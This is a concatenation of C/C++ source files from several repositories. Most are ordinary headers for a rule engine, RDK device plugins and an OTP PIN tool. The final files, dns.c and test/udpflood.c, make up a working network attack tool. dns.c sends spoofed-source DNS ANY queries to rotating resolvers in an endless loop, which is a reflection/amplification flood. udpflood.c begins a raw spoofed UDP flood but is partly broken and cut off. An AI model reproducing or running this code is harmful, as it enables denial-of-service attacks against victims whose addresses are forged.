ib_rule_ownership_fn_t fn; /**< Ownership function */ void *data; /**< Hook data */ }; typedef struct ib_rule_ownership_cb_t ib_rule_ownership_cb_t; /** * Rule injection callback object */ struct ib_rule_injection_cb_t { const char *name; /**< Rule injector name */ ib_rule_injection_fn_t fn; /**< Rule injection function */ void *data; /**< Rule injection data */ }; typedef struct ib_rule_injection_cb_t ib_rule_injection_cb_t; /** * Rule engine operator instance object. */ struct ib_rule_operator_inst_t { bool invert; /**< Invert operator? */ const ib_operator_inst_t *opinst; /**< Operator instance. */ const char *params; /**< Parameters passed to create */ ib_field_t *fparam; /**< Parameters as a field */ }; /*! Pre rule hook. */ struct ib_rule_pre_rule_hook_t { ib_rule_pre_rule_fn_t fn; /**< Function. */ void *data; /**< Callback data. */ }; typedef struct ib_rule_pre_rule_hook_t ib_rule_pre_rule_hook_t; /*! Post rule hook. */ struct ib_rule_post_rule_hook_t { ib_rule_post_rule_fn_t fn; /**< Function. */ void *data; /**< Callback data. */ }; typedef struct ib_rule_post_rule_hook_t ib_rule_post_rule_hook_t; /*! Pre operator hook. */ struct ib_rule_pre_operator_hook_t { ib_rule_pre_operator_fn_t fn; /**< Function. */ void *data; /**< Callback data. */ }; typedef struct ib_rule_pre_operator_hook_t ib_rule_pre_operator_hook_t; /*! Post operator hook. */ struct ib_rule_post_operator_hook_t { ib_rule_post_operator_fn_t fn; /**< Function. */ void *data; /**< Callback data. */ }; typedef struct ib_rule_post_operator_hook_t ib_rule_post_operator_hook_t; /*! Pre action hook. */ struct ib_rule_pre_action_hook_t { ib_rule_pre_action_fn_t fn; /**< Function. */ void *data; /**< Callback data. */ }; typedef struct ib_rule_pre_action_hook_t ib_rule_pre_action_hook_t; /*! Post action hook. */ struct ib_rule_post_action_hook_t { ib_rule_post_action_fn_t fn; /**< Function. */ void *data; /**< Callback data. */ }; typedef struct ib_rule_post_action_hook_t ib_rule_post_action_hook_t; /** * Initialize the rule engine. * * Called when the rule engine is loaded, registers state handlers. * * @param[in,out] ib IronBee object */ ib_status_t ib_rule_engine_init(ib_engine_t *ib); #endif /* IB_RULE_ENGINE_PRIVATE_H_ */
vijith-tv/rdkservices
Warehouse/Warehouse.h
/** * If not stated otherwise in this file or this component's LICENSE * file the following copyright and licenses apply: * * Copyright 2019 RDK Management * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. **/ #pragma once #include <thread> #include "Module.h" #include "utils.h" #include "AbstractPlugin.h" namespace WPEFramework { namespace Plugin { #ifdef HAS_FRONT_PANEL class Warehouse; class LedInfo { private: LedInfo() = delete; LedInfo& operator=(const LedInfo& RHS) = delete; public: LedInfo(Warehouse* wh) : m_warehouse(wh) { } LedInfo(const LedInfo& copy) : m_warehouse(copy.m_warehouse) { } ~LedInfo() {} inline bool operator==(const LedInfo& RHS) const { return(m_warehouse == RHS.m_warehouse); } public: uint64_t Timed(const uint64_t scheduledTime); private: Warehouse* m_warehouse; }; #endif // This is a server for a JSONRPC communication channel. // For a plugin to be capable to handle JSONRPC, inherit from PluginHost::JSONRPC. // By inheriting from this class, the plugin realizes the interface PluginHost::IDispatcher. // This realization of this interface implements, by default, the following methods on this plugin // - exists // - register // - unregister // Any other methood to be handled by this plugin can be added can be added by using the // templated methods Register on the PluginHost::JSONRPC class. // As the registration/unregistration of notifications is realized by the class PluginHost::JSONRPC, // this class exposes a public method called, Notify(), using this methods, all subscribed clients // will receive a JSONRPC message as a notification, in case this method is called. class Warehouse : public AbstractPlugin { private: // We do not allow this plugin to be copied !! Warehouse(const Warehouse&) = delete; Warehouse& operator=(const Warehouse&) = delete; void resetDevice(); void resetDevice(bool suppressReboot, const string& resetType = string()); std::vector<std::string> getAllowedCNameTails(); void setFrontPanelState(int state, JsonObject& response); void internalReset(JsonObject& response); void lightReset(JsonObject& response); void isClean(int age, JsonObject& response); //Begin methods uint32_t resetDeviceWrapper(const JsonObject& parameters, JsonObject& response); uint32_t getDeviceInfoWrapper(const JsonObject& parameters, JsonObject& response); uint32_t setFrontPanelStateWrapper(const JsonObject& parameters, JsonObject& response); uint32_t internalResetWrapper(const JsonObject& parameters, JsonObject& response); uint32_t lightResetWrapper(const JsonObject& parameters, JsonObject& response); uint32_t isCleanWrapper(const JsonObject& parameters, JsonObject& response); //End methods public: Warehouse(); virtual ~Warehouse(); //IPlugin methods virtual const string Initialize(PluginHost::IShell* service) override; virtual void Deinitialize(PluginHost::IShell* service) override; void onSetFrontPanelStateTimer(); public: static Warehouse* _instance; private: void InitializeIARM(); void DeinitializeIARM(); void getDeviceInfo(JsonObject &params); Utils::ThreadRAII m_resetThread; #ifdef HAS_FRONT_PANEL Core::TimerType<LedInfo> m_ledTimer; LedInfo m_ledInfo; int m_ledTimerIteration; int m_ledState; #endif }; } // namespace Plugin } // namespace WPEFramework
vijith-tv/rdkservices
DeviceInfo/DeviceInfo.h
<gh_stars>0 /* * If not stated otherwise in this file or this component's LICENSE file the * following copyright and licenses apply: * * Copyright 2020 RDK Management * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #ifndef DEVICEINFO_DEVICEINFO_H #define DEVICEINFO_DEVICEINFO_H #include "Module.h" #include <interfaces/json/JsonData_DeviceInfo.h> namespace WPEFramework { namespace Plugin { class DeviceInfo : public PluginHost::IPlugin, public PluginHost::IWeb, public PluginHost::JSONRPC { public: class Data : public Core::JSON::Container { public: Data() : Core::JSON::Container() , Addresses() , SystemInfo() { Add(_T("addresses"), &Addresses); Add(_T("systeminfo"), &SystemInfo); Add(_T("sockets"), &Sockets); } virtual ~Data() { } public: Core::JSON::ArrayType<JsonData::DeviceInfo::AddressesData> Addresses; JsonData::DeviceInfo::SysteminfoData SystemInfo; JsonData::DeviceInfo::SocketinfoData Sockets; }; private: DeviceInfo(const DeviceInfo&) = delete; DeviceInfo& operator=(const DeviceInfo&) = delete; uint32_t addresses(const Core::JSON::String& parameters, Core::JSON::ArrayType<JsonData::DeviceInfo::AddressesData>& response) { AddressInfo(response); return (Core::ERROR_NONE); } uint32_t system(const Core::JSON::String& parameters, JsonData::DeviceInfo::SysteminfoData& response) { SysInfo(response); return (Core::ERROR_NONE); } uint32_t sockets(const Core::JSON::String& parameters, JsonData::DeviceInfo::SocketinfoData& response) { SocketPortInfo(response); return (Core::ERROR_NONE); } public: DeviceInfo() : _skipURL(0) , _service(nullptr) , _subSystem(nullptr) , _systemId() , _deviceId() { RegisterAll(); } virtual ~DeviceInfo() { } BEGIN_INTERFACE_MAP(DeviceInfo) INTERFACE_ENTRY(PluginHost::IPlugin) INTERFACE_ENTRY(PluginHost::IWeb) INTERFACE_ENTRY(PluginHost::IDispatcher) END_INTERFACE_MAP public: // IPlugin methods // ------------------------------------------------------------------------------------------------------- virtual const string Initialize(PluginHost::IShell* service) override; virtual void Deinitialize(PluginHost::IShell* service) override; virtual string Information() const override; // IWeb methods // ------------------------------------------------------------------------------------------------------- virtual void Inbound(Web::Request& request) override; virtual Core::ProxyType<Web::Response> Process(const Web::Request& request) override; private: // JsonRpc void RegisterAll(); void UnregisterAll(); uint32_t get_systeminfo(JsonData::DeviceInfo::SysteminfoData& response) const; uint32_t get_addresses(Core::JSON::ArrayType<JsonData::DeviceInfo::AddressesData>& response) const; uint32_t get_socketinfo(JsonData::DeviceInfo::SocketinfoData& response) const; void SysInfo(JsonData::DeviceInfo::SysteminfoData& systemInfo) const; void AddressInfo(Core::JSON::ArrayType<JsonData::DeviceInfo::AddressesData>& addressInfo) const; void SocketPortInfo(JsonData::DeviceInfo::SocketinfoData& socketPortInfo) const; string GetDeviceId() const; private: uint8_t _skipURL; PluginHost::IShell* _service; PluginHost::ISubSystem* _subSystem; string _systemId; mutable string _deviceId; }; } // namespace Plugin } // namespace WPEFramework #endif // DEVICEINFO_DEVICEINFO_H
vijith-tv/rdkservices
Messenger/Messenger.h
/* * If not stated otherwise in this file or this component's LICENSE file the * following copyright and licenses apply: * * Copyright 2020 RDK Management * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #pragma once #include "Module.h" #include <interfaces/IMessenger.h> #include <interfaces/json/JsonData_Messenger.h> #include <map> #include <set> #include <functional> namespace WPEFramework { namespace Plugin { class Messenger : public PluginHost::IPlugin , public Exchange::IRoomAdministrator::INotification , public PluginHost::JSONRPCSupportsEventStatus { public: Messenger(const Messenger&) = delete; Messenger& operator=(const Messenger&) = delete; Messenger() : _connectionId(0) , _service(nullptr) , _roomAdmin(nullptr) , _roomIds() , _adminLock() { RegisterAll(); } ~Messenger() { } // IPlugin methods virtual const string Initialize(PluginHost::IShell* service) override; virtual void Deinitialize(PluginHost::IShell* service) override; virtual string Information() const override { return { }; } // Notification handling class MsgNotification : public Exchange::IRoomAdministrator::IRoom::IMsgNotification { public: MsgNotification(const MsgNotification&) = delete; MsgNotification& operator=(const MsgNotification&) = delete; MsgNotification(Messenger* messenger, const string& roomId) : _messenger(messenger) , _roomId(roomId) { /* empty */ } // IRoom::Notification methods virtual void Message(const string& senderName, const string& message) override { ASSERT(_messenger != nullptr); _messenger->MessageHandler(_roomId, senderName, message); } // QueryInterface implementation BEGIN_INTERFACE_MAP(Callback) INTERFACE_ENTRY(Exchange::IRoomAdministrator::IRoom::IMsgNotification) END_INTERFACE_MAP private: Messenger* _messenger; string _roomId; }; // class Notification // Callback handling class Callback : public Exchange::IRoomAdministrator::IRoom::ICallback { public: Callback(const Callback&) = delete; Callback& operator=(const Callback&) = delete; Callback(Messenger* messenger, const string& roomId) : _messenger(messenger) , _roomId(roomId) { /* empty */} // IRoom::ICallback methods virtual void Joined(const string& userName) override { ASSERT(_messenger != nullptr); _messenger->UserJoinedHandler(_roomId, userName); } virtual void Left(const string& userName) override { ASSERT(_messenger != nullptr); _messenger->UserLeftHandler(_roomId, userName); } // QueryInterface implementation BEGIN_INTERFACE_MAP(Callback) INTERFACE_ENTRY(Exchange::IRoomAdministrator::IRoom::ICallback) END_INTERFACE_MAP private: Messenger* _messenger; string _roomId; }; // class Callback // QueryInterface implementation BEGIN_INTERFACE_MAP(Messenger) INTERFACE_ENTRY(PluginHost::IPlugin) INTERFACE_ENTRY(Exchange::IRoomAdministrator::INotification) INTERFACE_ENTRY(PluginHost::IDispatcher) INTERFACE_AGGREGATE(Exchange::IRoomAdministrator, _roomAdmin) END_INTERFACE_MAP string JoinRoom(const string& roomId, const string& userName); bool LeaveRoom(const string& roomId); bool SendMessage(const string& roomId, const string& message); void UserJoinedHandler(const string& roomId, const string& userName) { event_userupdate(roomId, userName, JsonData::Messenger::UserupdateParamsData::ActionType::JOINED); } void UserLeftHandler(const string& roomId, const string& userName) { event_userupdate(roomId, userName, JsonData::Messenger::UserupdateParamsData::ActionType::LEFT); } void MessageHandler(const string& roomId, const string& senderName, const string& message) { event_message(roomId, senderName, message); } // IMessenger::INotification methods void Created(const string& roomName) override { _adminLock.Lock(); ASSERT(_rooms.find(roomName) == _rooms.end()); _rooms.insert(roomName); _adminLock.Unlock(); event_roomupdate(roomName, JsonData::Messenger::RoomupdateParamsData::ActionType::CREATED); } void Destroyed(const string& roomName) override { event_roomupdate(roomName, JsonData::Messenger::RoomupdateParamsData::ActionType::DESTROYED); _adminLock.Lock(); ASSERT(_rooms.find(roomName) != _rooms.end()); _rooms.erase(roomName); _adminLock.Unlock(); } private: string GenerateRoomId(const string& roomName, const string& userName); bool SubscribeUserUpdate(const string& roomId, bool subscribe); // JSON-RPC void RegisterAll(); void UnregisterAll(); uint32_t endpoint_join(const JsonData::Messenger::JoinParamsData& params, JsonData::Messenger::JoinResultInfo& response); uint32_t endpoint_leave(const JsonData::Messenger::JoinResultInfo& params); uint32_t endpoint_send(const JsonData::Messenger::SendParamsData& params); void event_roomupdate(const string& room, const JsonData::Messenger::RoomupdateParamsData::ActionType& action); void event_userupdate(const string& id, const string& user, const JsonData::Messenger::UserupdateParamsData::ActionType& action); void event_message(const string& id, const string& user, const string& message); uint32_t _connectionId; PluginHost::IShell* _service; Exchange::IRoomAdministrator* _roomAdmin; std::map<string, Exchange::IRoomAdministrator::IRoom*> _roomIds; std::set<string> _rooms; mutable Core::CriticalSection _adminLock; }; // class Messenger } // namespace Plugin } // namespace WPEFramework
vijith-tv/rdkservices
DeviceIdentification/DeviceIdentification.h
/* * If not stated otherwise in this file or this component's LICENSE file the * following copyright and licenses apply: * * Copyright 2020 RDK Management * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #pragma once #include "Module.h" #include <interfaces/IDeviceIdentification.h> #include <interfaces/json/JsonData_DeviceIdentification.h> namespace WPEFramework { namespace Plugin { class DeviceIdentification : public PluginHost::IPlugin, public PluginHost::JSONRPC { public: DeviceIdentification(const DeviceIdentification&) = delete; DeviceIdentification& operator=(const DeviceIdentification&) = delete; DeviceIdentification() : _deviceId() , _device(nullptr) , _identifier(nullptr) , _connectionId(0) { RegisterAll(); } virtual ~DeviceIdentification() { } BEGIN_INTERFACE_MAP(DeviceIdentification) INTERFACE_ENTRY(PluginHost::IPlugin) INTERFACE_ENTRY(PluginHost::IDispatcher) END_INTERFACE_MAP public: // IPlugin methods // ------------------------------------------------------------------------------------------------------- virtual const string Initialize(PluginHost::IShell* service) override; virtual void Deinitialize(PluginHost::IShell* service) override; virtual string Information() const override; private: void RegisterAll(); void UnregisterAll(); uint32_t get_deviceidentification(JsonData::DeviceIdentification::DeviceidentificationData& response) const; string GetDeviceId() const; void Info(JsonData::DeviceIdentification::DeviceidentificationData&) const; private: string _deviceId; Exchange::IDeviceProperties* _device; const PluginHost::ISubSystem::IIdentifier* _identifier; uint32_t _connectionId; }; } // namespace Plugin } // namespace WPEFramework
rangercej/otpsetpin
src/utils.h
/***************************************************************************** Copyright (c) 2015 <NAME> <<EMAIL>> Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. *****************************************************************************/ #ifndef __OTP_UTILS_H_ #define __OTP_UTILS_H_ #include <vector> #include "options.h" #include "userinfo.h" #define SECRETLENGTH 32 class Utils { public: Utils(); static bool runningAsRoot(); static std::vector<std::string> mkArgs (int argc, char **argv); static std::string getPassword(const std::string & prompt); static bool validateUserPin(const UserInfo & user); static bool isUserKnownToSystem(const std::string & username); static std::string getUser(const std::string & user); static std::string getCurrentUser(); static std::string getHostName(); }; #endif
rangercej/otpsetpin
src/otperror.h
/***************************************************************************** Copyright (c) 2015 <NAME> <<EMAIL>> Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. *****************************************************************************/ #ifndef __OTP_OTPERROR_H_ #define __OTP_OTPERROR_H_ class OtpError { private: int ErrorType; int IntContext; std::string StringContext; bool HaveIntContext; bool HaveStringContext; public: struct ErrorCodes { enum Codes { NoError = 0, PinMismatch, AuthFileReadError, AuthFileWriteError, AuthFilePermsError, UserWriteError, IncorrectPin, UnknownUser, PermissionDenied, ConversionError, CannotDetermineUser, ConfBadOtpLength, ConfUnknownDirective, ConfNotInit, BadSecret, QrEncodeStringFail, PermsFetchError, FilePermsError, }; }; OtpError (int errorType); OtpError (int errorType, int context); OtpError (int errorType, std::string context); std::string GetMessage() const; int GetErrorCode() const;; }; #endif
rangercej/otpsetpin
src/userinfo.h
/***************************************************************************** Copyright (c) 2015 <NAME> <<EMAIL>> Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. *****************************************************************************/ #ifndef __OTP_USERINFO_H_ #define __OTP_USERINFO_H_ #include <gd.h> #include "options.h" class UserInfo { private: struct UserAction { enum Actions { Create, Update, Delete }; }; static const int QrPixelSize = 4; std::string AuthFileName; Options OtpOptions; std::string UserId; std::string PinNumber; std::string Mode; std::string SharedSecret; void UpdateUserFile(int userAction); void SetPixel (gdImagePtr, int col, int row, int colour) const; void Get(); public: UserInfo(const std::string & userId, const Options & options); void Update(); void Create(); void Delete(); UserInfo & SetPinNumber(const std::string &); UserInfo & SetMode(const std::string &); UserInfo & SetSecret(const std::string &); std::string GetPinNumber() const; std::string GetMode() const; std::string GetSecret() const; std::string GetUserId() const; std::string GetUrl() const; void GetQrCode(std::string outputFileName) const; }; #endif
rangercej/otpsetpin
src/options.h
/***************************************************************************** Copyright (c) 2015 <NAME> <<EMAIL>> Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. *****************************************************************************/ #ifndef __OTP_OPTIONS_H_ #define __OTP_OPTIONS_H_ #include <string> #include <vector> class Options { private: std::string ConfigFile; std::string DefaultAuthFile; std::string Issuer; int Digits; bool IsInitialized; void SetDefaults(); static std::vector<std::string> split(const std::string &s, char delim); static void split(const std::string &s, char delim, std::vector<std::string> & target); static std::string & rtrim(std::string &s); static std::string & ltrim(std::string &s); static std::string & trim(std::string &s); public: Options(); Options(const std::string & configFile); void ReadOptions(); std::string GetConfigFile() const; std::string GetAuthFile() const; std::string GetIssuer() const; int GetDigits() const; }; #endif
millken/ddd
dns.c
#include <stdio.h> #include "dns.h" #include "config.h" #include "utils.h" Configuration config; void dns_send(char *trgt_ip, int trgt_p, char *dns_srv, int dns_p, unsigned char *dns_record); void dns_send1(); // Taken from http://www.binarytides.com/raw-udp-sockets-c-linux/ unsigned short csum(unsigned short *ptr,int nbytes) { register long sum; unsigned short oddbyte; register short answer; sum=0; while(nbytes>1) { sum+=*ptr++; nbytes-=2; } if(nbytes==1) { oddbyte=0; *((unsigned char *)&oddbyte)=*(unsigned char *)ptr; sum+=oddbyte; } sum = (sum>>16)+(sum & 0xffff); sum = sum + (sum>>16); answer=(short)~sum; return(answer); } // Taken from http://www.binarytides.com/dns-query-code-in-c-with-linux-sockets/ void dns_format(unsigned char * dns,unsigned char * host) { int lock = 0 , i; strcat((char*)host,"."); for(i = 0 ; i < strlen((char*)host) ; i++) { if(host[i]=='.') { *dns++ = i-lock; for(;lock<i;lock++) { *dns++=host[lock]; } lock++; } } *dns++=0x00; } // Creates the dns header and packet void dns_hdr_create(dns_hdr *dns) { dns->id = (unsigned short) htons(getpid()); dns->flags = htons(0x0100); dns->qcount = htons(1); dns->ans = 0; dns->auth = 0; dns->add = 0; } void dns_send(char *trgt_ip, int trgt_p, char *dns_srv, int dns_p, unsigned char *dns_record) { // Building the DNS request data packet unsigned char dns_data[128]; dns_hdr *dns = (dns_hdr *)&dns_data; dns_hdr_create(dns); unsigned char *dns_name, dns_rcrd[32]; dns_name = (unsigned char *)&dns_data[sizeof(dns_hdr)]; strcpy(dns_rcrd, dns_record); dns_format(dns_name , dns_rcrd); query *q; q = (query *)&dns_data[sizeof(dns_hdr) + (strlen(dns_name)+1)]; q->qtype = htons(0x00ff); q->qclass = htons(0x1); // Building the IP and UDP headers char datagram[4096], *data, *psgram; memset(datagram, 0, 4096); data = datagram + sizeof(iph) + sizeof(udph); memcpy(data, &dns_data, sizeof(dns_hdr) + (strlen(dns_name)+1) + sizeof(query) +1); struct sockaddr_in sin; sin.sin_family = AF_INET; sin.sin_port = htons(dns_p); sin.sin_addr.s_addr = inet_addr(dns_srv); iph *ip = (iph *)datagram; ip->version = 4; ip->ihl = 5; ip->tos = 0; ip->tot_len = sizeof(iph) + sizeof(udph) + sizeof(dns_hdr) + (strlen(dns_name)+1) + sizeof(query); ip->id = htonl(getpid()); ip->frag_off = 0; ip->ttl = 64; ip->protocol = IPPROTO_UDP; ip->check = 0; ip->saddr = inet_addr(trgt_ip); ip->daddr = sin.sin_addr.s_addr; ip->check = csum((unsigned short *)datagram, ip->tot_len); udph *udp = (udph *)(datagram + sizeof(iph)); udp->source = htons(trgt_p); udp->dest = htons(dns_p); udp->len = htons(8+sizeof(dns_hdr)+(strlen(dns_name)+1)+sizeof(query)); udp->check = 0; // Pseudoheader creation and checksum calculation ps_hdr pshdr; pshdr.saddr = inet_addr(trgt_ip); pshdr.daddr = sin.sin_addr.s_addr; pshdr.filler = 0; pshdr.protocol = IPPROTO_UDP; pshdr.len = htons(sizeof(udph) + sizeof(dns_hdr) + (strlen(dns_name)+1) + sizeof(query)); int pssize = sizeof(ps_hdr) + sizeof(udph) + sizeof(dns_hdr) + (strlen(dns_name)+1) + sizeof(query); psgram = malloc(pssize); memcpy(psgram, (char *)&pshdr, sizeof(ps_hdr)); memcpy(psgram + sizeof(ps_hdr), udp, sizeof(udph) + sizeof(dns_hdr) + (strlen(dns_name)+1) + sizeof(query)); udp->check = csum((unsigned short *)psgram, pssize); // Send data int sd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if(sd==-1) printf("Could not create socket.\n"); else sendto(sd, datagram, ip->tot_len, 0, (struct sockaddr *)&sin, sizeof(sin)); free(psgram); close(sd); return; } int get_qtype(const char *type) { if(strcasecmp("any", type) == 0) return 0xff; if(strcasecmp("a", type) == 0) return 0x01; if(strcasecmp("cname", type) == 0) return 0x05; return 0x01; } void dns_send1(/*char *trgt_ip, int trgt_p, char *dns_srv, int dns_p, unsigned char *dns_record*/) { // Building the DNS request data packet unsigned char dns_data[128]; unsigned char *domain = NULL; char *dns_srv = NULL; char *trgt_ip = NULL; char randchar[25]; char rnt[4]; int dns_p = 53; //默认53口 int trgt_p = 0; unsigned char *dns_name, dns_rcrd[32]; // Building the IP and UDP headers char datagram[4096], *data, *psgram; memset(datagram, 0, 4096); int sd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); while(1) { random_chars(randchar, 5, 25); domain = str_replace(config.dns_domain, "*", randchar); sprintf(rnt, "%d", random_int(1,255)); dns_srv = str_replace(config.dns_targetip, "*", (const char*)rnt); trgt_ip = str_replace(config.dns_sourceip, "*", (const char*)rnt); trgt_p = random_int(1000, 65535); //printf("trgt_ip=%s,trgt_p=%d,dns_srv=%s,dns_p=%d,domain=%s\n", trgt_ip, trgt_p, dns_srv, dns_p, domain); dns_hdr *dns = (dns_hdr *)&dns_data; dns_hdr_create(dns); dns_name = (unsigned char *)&dns_data[sizeof(dns_hdr)]; strcpy(dns_rcrd, domain); dns_format(dns_name , dns_rcrd); query *q; q = (query *)&dns_data[sizeof(dns_hdr) + (strlen(dns_name)+1)]; q->qtype = htons(get_qtype(config.dns_type)); //0x00ff=any, 0x01=a,0x05=cname q->qclass = htons(0x1); data = datagram + sizeof(iph) + sizeof(udph); memcpy(data, &dns_data, sizeof(dns_hdr) + (strlen(dns_name)+1) + sizeof(query) +1); struct sockaddr_in sin; sin.sin_family = AF_INET; sin.sin_port = htons(dns_p); sin.sin_addr.s_addr = inet_addr(dns_srv); iph *ip = (iph *)datagram; ip->version = 4; ip->ihl = 5; ip->tos = 0; ip->tot_len = sizeof(iph) + sizeof(udph) + sizeof(dns_hdr) + (strlen(dns_name)+1) + sizeof(query); ip->id = htonl(getpid()); ip->frag_off = 0; ip->ttl = 64; ip->protocol = IPPROTO_UDP; ip->check = 0; ip->saddr = inet_addr(trgt_ip); ip->daddr = sin.sin_addr.s_addr; ip->check = csum((unsigned short *)datagram, ip->tot_len); udph *udp = (udph *)(datagram + sizeof(iph)); udp->source = htons(trgt_p); udp->dest = htons(dns_p); udp->len = htons(8+sizeof(dns_hdr)+(strlen(dns_name)+1)+sizeof(query)); udp->check = 0; // Pseudoheader creation and checksum calculation ps_hdr pshdr; pshdr.saddr = inet_addr(trgt_ip); pshdr.daddr = sin.sin_addr.s_addr; pshdr.filler = 0; pshdr.protocol = IPPROTO_UDP; pshdr.len = htons(sizeof(udph) + sizeof(dns_hdr) + (strlen(dns_name)+1) + sizeof(query)); int pssize = sizeof(ps_hdr) + sizeof(udph) + sizeof(dns_hdr) + (strlen(dns_name)+1) + sizeof(query); psgram = malloc(pssize); memcpy(psgram, (char *)&pshdr, sizeof(ps_hdr)); memcpy(psgram + sizeof(ps_hdr), udp, sizeof(udph) + sizeof(dns_hdr) + (strlen(dns_name)+1) + sizeof(query)); udp->check = csum((unsigned short *)psgram, pssize); // Send data if(sd==-1) printf("Could not create socket.\n"); else sendto(sd, datagram, ip->tot_len, 0, (struct sockaddr *)&sin, sizeof(sin)); sleep(1); } free(psgram); close(sd); return; }
millken/ddd
test/udpflood.c
/* https://github.com/wndfly/udpflood windows版本 https://github.com/pisto/tcpflood/ raw+connect */ #include <stdio.h> #include <stdlib.h> #include <sys/socket.h> #include <netinet/ip.h> #define __FAVOR_BSD #define _USE_BSD #include <netinet/udp.h> // struct udp #include <string.h> #include <unistd.h> #include <errno.h> #define PACKET_MAX_SIZE 200 //整个IP报文包括3个部分,IP首部,UDP首部,UDP数据部分 struct UDP_PKG { struct ip ipH;//IP头部 struct udphdr udpH;//UDP头部 unsigned char data[8192];//UDP数据部分 }udp; // 16 bits ==> 2 octets => unsigned short unsigned short csum( char *buff , int size ) { unsigned long sum; while( size-- != 0 ) sum += *buff++; //Take first 4 bits sum = ( sum >> 16 ) + ( sum & 0xffff ); sum += ( sum >> 16 ); //Return one's complement return ( unsigned short )( ~sum ); } //计算校验和 static unsigned short DoS_cksum(unsigned short *data,int length){ register int left=length; register unsigned short*word=data; register int sum=0; unsigned short ret=0; //计算偶数字节 while(left>1){ sum+=*word++; left-=2; } } void setupIpHeader( struct ip *ipH ) { //http://blog.sina.com.cn/s/blog_75e9551f01013w9z.html //http://blog.csdn.net/chenjin_zhong/article/details/7271979 ipH->ip_v = 4; /* version */ ipH->ip_hl 